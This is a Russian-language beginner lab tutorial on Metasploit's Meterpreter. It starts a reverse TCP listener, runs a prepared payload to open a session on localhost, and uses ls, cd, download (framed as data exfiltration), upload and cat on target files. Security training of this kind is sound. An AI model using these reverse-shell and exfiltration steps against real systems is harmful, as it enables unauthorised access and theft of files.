Взаимодействие с файловой системой цели с помощью Meterpreter

Kali LinuxBeginner
Практиковаться сейчас

Введение

В этой лабораторной работе вы изучите основные методы взаимодействия с файловой системой цели с помощью Meterpreter, продвинутого пейлоада, являющегося частью Metasploit Framework. Пост-эксплуатация является критически важным этапом тестирования на проникновение, и умение перемещаться по файловой системе, скачивать конфиденциальные файлы и загружать собственные инструменты или скрипты — это необходимый навык.

Мы пройдемся по процессу установления сессии Meterpreter, а затем используем основные команды, такие как ls, cd, download, upload и cat, для исследования и манипулирования файлами на скомпрометированной системе.

Список файлов и каталогов с помощью команды ls

На этом шаге мы сначала установим сессию Meterpreter, а затем используем команду ls для вывода списка файлов в целевой системе. Наш скрипт настройки уже создал пейлоад (payload.elf) и файл конфигурации слушателя (listener.rc).

Сначала запустим слушатель Metasploit. Он будет ожидать входящее соединение от пейлоада. Мы используем флаг -r для загрузки нашего файла ресурсов, который автоматизирует настройку.

Откройте терминал и выполните следующую команду:

msfconsole -r listener.rc

Вы увидите, как запустится консоль Metasploit, и обработчик будет работать как фоновая задача. Вывод будет выглядеть примерно так:

[*] Msfconsole tip: Use the resource command to run a script of
    console commands.

    ...

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

msf6 >

Теперь нам нужно выполнить пейлоад для подключения к нашему слушателю. Откройте новый терминал, нажав значок "+" на панели вкладок терминала. В этом новом терминале выполните файл пейлоада, расположенный в вашем каталоге ~/project.

./payload.elf

Эта команда не даст никакого вывода. Переключитесь обратно на ваш первый терминал (тот, который запускает msfconsole). Вы должны увидеть сообщение, указывающее на то, что сессия была открыта.

[*] Sending stage (3021700 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43916) at 2023-10-27 10:30:00 -0400

msf6 > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Примечание: Если вы не были автоматически помещены в сессию, вы можете просмотреть активные сессии с помощью команды sessions и взаимодействовать с одной из них, используя sessions -i <ID>, например, sessions -i 1.

Теперь вы находитесь в сессии Meterpreter, на что указывает приглашение meterpreter >. Любая команда, которую вы здесь введете, будет выполнена на целевой машине. Давайте используем команду ls для вывода списка файлов в текущем каталоге цели.

ls

Это выведет список файлов и каталогов в текущем рабочем каталоге цели.

meterpreter > ls
Listing: /home/labex/project
============================

Mode              Size    Type  Perms  Name
----              ----    ----  -----  ----
100755/rwxr-xr-x  10152   fil   rwx/-  payload.elf
100644/rw-r--r--  100     fil   rw-/-  listener.rc

Смена каталогов с помощью команды cd

На этом шаге вы научитесь перемещаться по файловой системе цели с помощью команды cd (change directory) в Meterpreter. Это работает так же, как стандартная команда cd в Linux.

Наш скрипт настройки создал каталог /tmp/victim_files в целевой системе. Давайте перейдем в каталог /tmp.

cd /tmp

Сама команда не производит никакого вывода. Чтобы убедиться, что мы сменили каталог, мы можем использовать команду pwd (print working directory).

pwd

Вывод покажет ваш текущий каталог на целевой машине.

meterpreter > pwd
/tmp

Теперь, когда мы находимся в каталоге /tmp, давайте выведем его содержимое с помощью ls, чтобы найти каталог victim_files.

ls

Вы должны увидеть каталог victim_files среди других файлов и каталогов в /tmp.

meterpreter > ls
Listing: /tmp
============

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
...
40777/rwxrwxrwx   4096  dir   rwx/-  victim_files
...

Загрузка файла с цели с помощью команды download

На этом шаге мы загрузим файл с целевой системы на нашу собственную машину. Это важный метод для эксфильтрации данных. Мы будем использовать команду download.

Сначала давайте перейдем в каталог victim_files, который мы нашли на предыдущем шаге.

cd victim_files

Теперь выведем список файлов в этом каталоге, чтобы найти наш целевой файл.

ls

Вы увидите файл secret_notes.txt, который был создан скриптом настройки.

meterpreter > ls
Listing: /tmp/victim_files
=========================

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
100644/rw-r--r--  37    fil   rw-/-  secret_notes.txt

Теперь давайте загрузим этот файл в наш локальный каталог ~/project. Синтаксис: download <файл_на_цели>. По умолчанию он будет загружен в ваш текущий локальный каталог.

download secret_notes.txt

Вы должны увидеть подтверждающее сообщение об успешной загрузке.

[*] Downloading: secret_notes.txt -> /home/labex/project/secret_notes.txt
[*] Downloaded 37.00 B of 37.00 B (100.0%)
[*] download   : /tmp/victim_files/secret_notes.txt -> /home/labex/project/secret_notes.txt

Для проверки вы можете открыть новый терминал (или использовать второй, который вы открыли ранее) и вывести список файлов в вашем каталоге ~/project на вашей локальной машине.

ls ~/project

Теперь вы должны увидеть secret_notes.txt в списке файлов.

Загрузка файла на цель с помощью команды upload

На этом шаге вы научитесь загружать файл с вашей машины на целевую систему с помощью команды upload. Это полезно для размещения инструментов, скриптов или других полезных нагрузок на цели.

Сначала нам нужен файл на нашей локальной машине для загрузки. Давайте создадим его. В вашем локальном терминале (не в сессии Meterpreter) выполните следующую команду, чтобы создать файл с именем attacker_file.txt.

echo "attacker data" > ~/project/attacker_file.txt

Теперь вернитесь в свою сессию Meterpreter. Вы должны по-прежнему находиться в каталоге /tmp/victim_files на цели. Мы загрузим attacker_file.txt из нашего локального каталога ~/project в текущий каталог цели.

Синтаксис: upload <путь_к_локальному_файлу>.

upload /home/labex/project/attacker_file.txt

Вы увидите подтверждение успешной загрузки.

[*] uploading: /home/labex/project/attacker_file.txt -> attacker_file.txt
[*] uploaded : /home/labex/project/attacker_file.txt -> attacker_file.txt

Чтобы подтвердить, что файл находится на цели, выполните команду ls в вашей сессии Meterpreter.

ls

Теперь вы должны увидеть как secret_notes.txt, так и ваш только что загруженный attacker_file.txt.

meterpreter > ls
Listing: /tmp/victim_files
=========================

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
100644/rw-r--r--  14    fil   rw-/-  attacker_file.txt
100644/rw-r--r--  37    fil   rw-/-  secret_notes.txt

Просмотр содержимого текстового файла с помощью команды cat

На этом заключительном шаге мы будем использовать команду cat в Meterpreter для просмотра содержимого файлов непосредственно в файловой системе цели, без необходимости предварительной загрузки.

Вы должны по-прежнему находиться в каталоге /tmp/victim_files на цели в вашей сессии Meterpreter.

Сначала давайте посмотрим содержимое исходного файла, secret_notes.txt.

cat secret_notes.txt

Команда выведет содержимое файла непосредственно в вашу консоль.

meterpreter > cat secret_notes.txt
This is a secret file from the target.

Далее, давайте посмотрим содержимое файла, который мы загрузили, attacker_file.txt, чтобы убедиться, что он был передан корректно.

cat attacker_file.txt

Вы должны увидеть текст, который мы создали на нашей локальной машине.

meterpreter > cat attacker_file.txt
attacker data

Эта команда чрезвычайно полезна для быстрого просмотра конфигурационных файлов, журналов или скриптов в целевой системе.

Итоги

Поздравляем с завершением этой лабораторной работы! Вы освоили основные команды Meterpreter для взаимодействия с файловой системой цели.

Вы успешно установили сессию Meterpreter и отработали следующие ключевые команды пост-эксплуатации:

  • ls: для вывода списка файлов и каталогов.
  • cd: для навигации по файловой системе.
  • pwd: для определения текущего рабочего каталога.
  • download: для извлечения файлов с цели на вашу машину.
  • upload: для размещения файлов с вашей машины на цели.
  • cat: для просмотра содержимого текстовых файлов непосредственно на цели.

Овладение этими командами является фундаментальным шагом на пути к совершенствованию в Metasploit Framework и проведению эффективных тестов на проникновение.